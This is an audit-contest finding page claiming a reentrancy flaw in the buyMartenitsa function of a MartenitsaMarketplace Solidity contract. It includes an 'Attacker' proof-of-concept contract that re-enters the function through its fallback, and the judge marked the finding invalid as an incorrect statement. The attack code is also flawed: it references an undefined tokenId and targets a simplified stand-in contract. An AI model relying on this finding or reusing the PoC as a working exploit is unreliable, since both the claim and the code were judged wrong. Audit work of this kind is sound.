Beginner FriendlyFoundryGameFi
100 EXP
View results
Submission Details
Severity: high
Invalid

Risk of reentrancy in the 'buyMartenitsa(uint256)' function of 'MartenitsaMarketplace' contract

Summary

Risk of reentrancy in the 'buyMartenitsa(uint256)' function of 'MartenitsaMarketplace' contract - lines 60-83. This is mainly because State variables are written after the call(s).

Vulnerability Details

The function calls, martenitsaToken.updateCountMartenitsaTokensOwner(buyer, add) and martenitsaToken.updateCountMartenitsaTokensOwner(seller, sub) are external calls.

After these external calls, the state variable 'tokenIdToListing[tokenId]' is deleted. This state variable modification occurs after the external calls.

The state variable 'tokenIdToListing' is accessed and modified in multiple functions within the contract, including 'buyMartenitsa', 'getListing', and 'listMartenitsaForSale'. This could potentially lead to reentrancy vulnerabilities, as an attacker could call these functions recursively, exploiting the modification of state variables after external calls.

There is thus a possibility of a reentrancy vulnerability in the 'buyMartenitsa' function. If an attacker can control the seller address, they may exploit this vulnerability to recursively call the 'buyMartenitsa' function before the state variable 'tokenIdToListing[tokenId]' is deleted, potentially leading to unexpected behavior or malicious actions.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Attacker {
MartenitsaMarketplace public marketplace;
constructor(address _marketplace) {
marketplace = MartenitsaMarketplace(_marketplace);
}
// Function to initiate the attack
function initiateAttack(uint256 tokenId) external payable {
// Call the vulnerable function with a large amount of Ether
marketplace.buyMartenitsa{value: msg.value}(tokenId);
}
// Fallback function to re-enter the vulnerable function
fallback() external payable {
if (address(marketplace).balance >= msg.value) {
marketplace.buyMartenitsa{value: msg.value}(tokenId);
}
}
}
contract MartenitsaMarketplace {
mapping(uint256 => address) public tokenIdToSeller;
mapping(address => uint256) public balances;
function buyMartenitsa(uint256 tokenId) external payable {
address seller = tokenIdToSeller[tokenId];
// Vulnerable part: Sends Ether to seller's address
(bool sent, ) = seller.call{value: msg.value}("");
require(sent, "Failed to send Ether");
// Update balances
balances[msg.sender] += msg.value;
balances[seller] -= msg.value;
}
}

Impact

  • The Attacker contract is created with the address of the 'MartenitsaMarketplace' contract.

  • The 'initiateAttack' function is called with a specified tokenId and a large amount of Ether.

  • Inside the 'buyMartenitsa' function of 'MartenitsaMarketplace', Ether is sent to the seller address using a low-level call.

  • The 'fallback' function in the Attacker contract re-enters the 'buyMartenitsa' function if it receives Ether.

  • By repeatedly re-entering the 'buyMartenitsa' function before it completes, an attacker can potentially drain the contract's balance or manipulate the contract's state in unexpected ways, constituting a risk of reentrancy in the function.

Tools Used

Foundry, VSCode, Slither, Remix.

Recommendations

To mitigate this vulnerability, it is recommended to ensure that state variable modifications are performed before any external calls, especially when dealing with user-provided addresses or inputs. Additionally, implementing reentrancy guards, such as using the Checks-Effects-Interactions pattern and limiting the amount of work done before external calls, can help prevent reentrancy attacks.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
Assigned finding tags:

Reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.